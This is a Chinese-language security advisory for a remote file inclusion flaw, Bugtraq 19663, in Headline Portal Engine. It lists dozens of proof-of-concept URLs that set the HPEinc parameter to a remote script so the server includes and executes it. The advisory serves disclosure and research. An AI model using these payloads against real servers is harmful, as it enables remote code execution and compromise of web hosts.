发布日期：2006-08-21
更新日期：2006-08-30

受影响系统：

Headline Portal Engine Headline Portal Engine 1.0
Headline Portal Engine Headline Portal Engine 0.7.0
Headline Portal Engine Headline Portal Engine 0.6.5
Headline Portal Engine Headline Portal Engine 0.6.1

描述：

---

BUGTRAQ  ID: 19663

HPE是用PHP编写的新闻阅读器。

Headline Portal Engine 1.0, 0.7.0, 0.6.5, 0.6.1版本没有正确过滤用户输入，直接用在PHP 'include()'函数调用内，这可使远程攻击者以Webserver进程的权限在受影响计算机上执行任意服务器端脚本代码。

<*来源：the master
  
  链接：http://www.exploit-db.com/exploits/28426/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/HPE/lang/de.php?HPEinc=http://cmd.gif?
http://www.example.com/HPE/lang/fr.php?HPEinc=http://cmd.gif?
http://www.example.com/HPE/clickerr.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/loadcatnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/motd.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.newslog.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/thememaker.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.newnews.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.randnews.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.teaser.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/thememaker.php3?HPEinc=http://cmd.gif?

建议：

---

厂商补丁：

Headline Portal Engine
----------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/hpe/files/

浏览次数：2068
严重程度：0（网友投票）